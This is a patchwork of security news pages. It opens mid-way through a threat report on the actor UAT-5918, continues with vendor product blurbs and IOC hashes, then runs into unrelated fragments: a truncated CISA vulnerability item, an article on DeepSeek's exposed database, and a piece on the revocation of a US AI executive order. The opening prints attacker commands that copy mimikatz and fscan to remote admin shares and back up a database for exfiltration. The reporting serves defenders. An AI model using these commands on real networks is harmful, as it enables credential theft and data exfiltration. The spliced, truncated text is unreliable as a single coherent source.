cmd\[.\]exe /Q /c copy \[\\\]\[\\\]<IP>\\c$\\<scan\_result>.txt 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1    
cmd\[.\]exe /Q /c copy fscan\[.\]exe \[\\\]\[\\\]<IP>\\c$\\ 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1    
cmd\[.\]exe /Q /c copy mimikatz\[.\]exe \[\\\]\[\\\]<IP>\\c$ 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1 

**File collection and staging **

UAT-5918 pivots across endpoints enumerating local and shared drives to find data of interest to the threat actor. This data may include everything that furthers the APT’s strategic and tactical goals and ranges from confidential documents, DB exports and backups to application configuration files. In one instance, the threat actor used the SQLCMD\[.\]exe utility to create a database backup that could be exfiltrated: 

C:/ProgramData/SQLCMD.EXE -S <target\_server\_DB> -U <username> -P <password> -Q BACKUP DATABASE <NAME> to disk='<db\_backup\_location>.bak' 

**Coverage **

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work. Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**IOCs **

IOCs for this research can also be found at our GitHub repository here. 

6F6F7AA6144A1CFE61AC0A80DB7AD712440BDC5730644E05794876EB8B6A41B4 
BAB01D029556CF6290F6F21FEC5932E13399F93C5FDBCFFD3831006745F0EB83 
F7F6D0AFB300B57C32853D49FF50650F5D1DC7CF8111AA32FF658783C038BFE5 
497A326C6C207C1FB49E4DAD81D051FCF6BCBE047E0D3FE757C298EF8FE99ABA 
F9EB34C34E4A91630F265F12569F70B83FEBA039C861D6BF906B74E7FB308648 
DD832C8E30ED50383495D370836688EE48E95334270CBBCE41109594CB0C9FD1 
F7B52EE613F8D4E55A69F0B93AA9AA5472E453B0C458C8390DB963FF8B0B769C 
B994CBC1B5C905A2B731E47B30718C684521E8EC6AFB601AFECF30EF573E5153 
12D4EFE2B21B5053A3A21B49F25A6A4797DC6E9A80D511F29CA67039BA361F63 
2272925B1E83C7C3AB24BDEB82CE727DB84F5268C70744345CDA41B452C49E84 
71EB5115E8C47FFF1AB0E7ACEBAEA7780223683259A2BB1B8DB1EB3F26878CA4 
E159824448A8E53425B38BD11030AA786C460F956C9D7FC118B212E8CED4087A 
7EF22BFB6B2B2D23FE026BDFD7D2304427B6B62C6F9643EFEDDB4820EBF865AF 
EFC0D2C1E05E106C5C36160E17619A494676DEB136FB877C6D26F3ADF75A5777 
B7690c0fc9ec32e1a54663a2e5581e6260fe9318a565a475ee8a56c0638f38d0 
A774244ea5d759c4044aea75128a977e45fd6d1bb5942d9a8a1c5d7bff7e3db9 
31742ab79932af3649189b9287730384215a8dccdf21db50de320da7b3e16bb4 
09cea8aed5c58c446e6ef4d9bb83f7b5d7ba7b7c89d4164f397d378832722b69 
D47e35baee57eb692065a2295e3e9de40e4c57dba72cb39f9acb9f564c33b421 
1753fa34babeeee3b20093b72987b7f5e257270f86787c81a556790cb322c747 
F4ea99dc41cb7922d01955eef9303ec3a24b88c3318138855346de1e830ed09e 
5b0f8c650f54f17d002c01dcc74713a40eccb0367357d3f86490e9d17fcd71e8 
3588bda890ebf6138a82ae2e4f3cd7234ec071f343c9f5db5a96a54734eeaf9f 
95eee44482b4226efe3739bed3fa6ce7ae7db407c1e82e988f27cd27a31b56a6 
02ab315e4e3cf71c1632c91d4914c21b9f6e0b9aa0263f2400d6381aab759a61 
D1825cd7a985307c8585d88d247922c3a51835f9338dc76c10cdbad859900a03 
234899dea0a0e91c67c7172204de3a92a4cbeef37cdc10f563bf78343234ad1d 
8d440c5f0eca705c6d27aa4883c9cc4f8711de30fea32342d44a286b362efa9a 
Ffb8db57b543ba8a5086640a0b59a5def4929ad261e9f3624b2c0a22ae380391

UAT-5918 targets critical infrastructure entities in Taiwan

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added two security flaws impacting Adobe ColdFusion and Oracle Agile Product Lifecycle Management (PLM) to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation.
The vulnerabilities in question are listed below -

CVE-2017-3066 (CVSS score: 9.8) - A deserialization vulnerability impacting

Two Actively Exploited Security Flaws in Adobe and Oracle Products Flagged by CISA

The sudden rise of DeepSeek has raised questions of data origin, data destination, and the security of the new AI model.

The sudden rise of DeepSeek has raised concerns and questions, especially about the origin and destination of the training data, as well as the security of the data.

For those returning from a short holiday away from the news, DeepSeek is a new player on the Artificial Intelligence (AI) field. The Chinese startup has certainly taken the app stores by storm: In just a week after the launch it topped the charts as the most downloaded free app in the US. This caused an upset on the stock markets that cost nVidia and Oracle shareholders a lot of money.

DeepSeek has been called an open-source project, however this technically is not true because only the model’s outputs and certain aspects are publicly accessible. This makes it qualify as an open-weight model. Anyway, the important difference is that the underlying training data and code necessary for full reproduction of the models are not fully disclosed.

And it’s the data that pose a concern to many. OpenAI has accused DeepSeek of using its ChatGPT model to train DeepSeek’s AI chatbot, which triggered quite some memes. If only because OpenAI previously suffered accusations of using data that was not its own in order to train ChatGPT.

Authorities have started to ask questions as well. The Italian privacy regulator GPDP has asked DeepSeek to provide information about the data it processes in the chatbot, and its training data.  Because it sees a risk to the privacy of millions of Italian citizens, GDPD has demanded DeepSeek answers within 20 days questions about:

*   Which personal data is collected
*   The origin of the data
*   Purpose for the collection
*   Whether the data is stored on servers in China

According to the Italian press agency ANSA, DeepSeek disappeared on January 29, 2025 from Google and Apple’s app stores in Italy.

And if all that isn’t scary enough, researchers at Wiz have found a publicly accessible database belonging to DeepSeek.

> “This database contained a significant volume of chat history, backend data and sensitive information, including log streams, API Secrets, and operational details. “

The database was not just accessible and readable, it was also open to control and privilege escalation within the DeepSeek environment. No authentication was required, so anybody that stumbled over the database was able to run queries to retrieve sensitive logs and actual plaintext chat messages, and even to steal plaintext passwords and local files.

Needless to say, this oversight put DeepSeek and its users at risk.

We have said this before and we’ll probably have to repeat it numerous times, but the need for fast developments in this field is creating privacy risks that we have never seen before, simply because security is an afterthought for the developers. So, no matter which AI chatbot you prefer, always be mindful of the information you feed it: It may find its way to unexpected and undesirable places.

**We don’t just report on threats – we help safeguard your entire digital identity**

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 The DeepSeek controversy: Authorities ask where does the data come from and how safe is it? 

The new administration moved quickly to remove any constraints on AI development and collected $500 billion in investment pledges for an American-owned AI joint venture.

Source: Andrey Popov via Alamy Stock Photo

President Donald Trump revoked former President Joe Biden's 2023 executive order aimed at putting security guardrails around artificial intelligence (AI) systems and their potential impact to national security, giving a major boost to private sector companies like OpenAI, Oracle, and Softbank. They responded in kind with collective pledges to spend up to $600 billion on building out AI infrastructure in the US.

Biden's AI executive order required developers of AI and large language models (LLMs) like ChatGPT to develop safety standards and share results with the federal government to help prevent AI-powered cyberattacks against citizens, critical infrastructure, dangerous biological weapons, and other areas affecting US national security.

**Artificial Intelligence Private Sector Ponies Up**

Fast on the heels of that revocation, the Trump administration unveiled Project Stargate, which is intended to funnel hundreds of billions into AI infrastructure in the US. The Stargate event at the White House was attended by SoftBank CEO Masayoshi Son, who had already pledged $100 billion to the fund. OpenAI CEO Sam Altman and Oracle co-founder Larry Ellison each pledged an initial $100 billion, all of which will be used to set up a separate company committed to US AI infrastructure. Microsoft, Nvidia, and semiconductor company Arm are also involved as technology partners.

During the ceremony, Ellison said there are already data centers in Texas under construction as part of Project Stargate.

Leading AI CEOs, including Marty Sprinzen, CEO of Vantiq, were delighted by the news.

"As I sit here at the World Economic Forum in Davos, Switzerland, the atmosphere is charged with enthusiasm following President Trump's announcement of the Stargate initiative — a collaboration between OpenAI, SoftBank, and Oracle to invest up to $500 billion in artificial intelligence infrastructure," Sprinzen said in a statement.

One outlier with less enthusiasm for Project Stargate is Elon Musk, who claimed the companies don't have the cash to cover the pledges.

**Trump Administration's AI Cybersecurity Plan**

It's still not completely clear this means if or how there will be any federal oversight of AI technology or its development.

The Biden AI executive order was far from perfect, according to Max Shier, CISO at Optiv, but he still would like to see some federal oversight of AI development.

"I don't disagree with the reversal per se, as I don't think the EO that Biden signed was adequate and it had its flaws," Shier says. "However, I would hope that they replace it with one that levies more appropriate controls on the industry that are not as overbearing as the previous EO and still allows for innovation."

Shier anticipates standards developed by the National Institute for Standards and Technology (NIST) and the International Organization for Standardization (ISO) will help "provide guardrails for ethical and responsible use."

For now, the new administration is ready to leave the task of developing AI with adequate safety controls in private sector hands. Adam Kentosh at Digital.ai says he is confident they are up to the task.

"The rapid pace of AI development makes it essential to strike a balance between innovation and security. While this balance is critical, the responsibility likely falls more on individual corporations than on the federal government to ensure that industries adopt thoughtful, secure practices in AI development," Kentosh says. "By doing so, we can avoid a scenario where government intervention becomes necessary."

That might not be enough, according to Shier.

"Private enterprise should not be allowed to govern themselves or be trusted to develop under their own standards for ethical use," he stresses. "There has to be guardrails provided that don't stifle smaller companies from participating in innovation but still allow for some oversight and accountability. This is especially true in instances where public safety or national security is at risk or has the potential to cause risk."

**About the Author**

Dark Reading

Becky Bracken is a veteran multimedia journalist covering cybersecurity for Dark Reading.

Tag

#oracle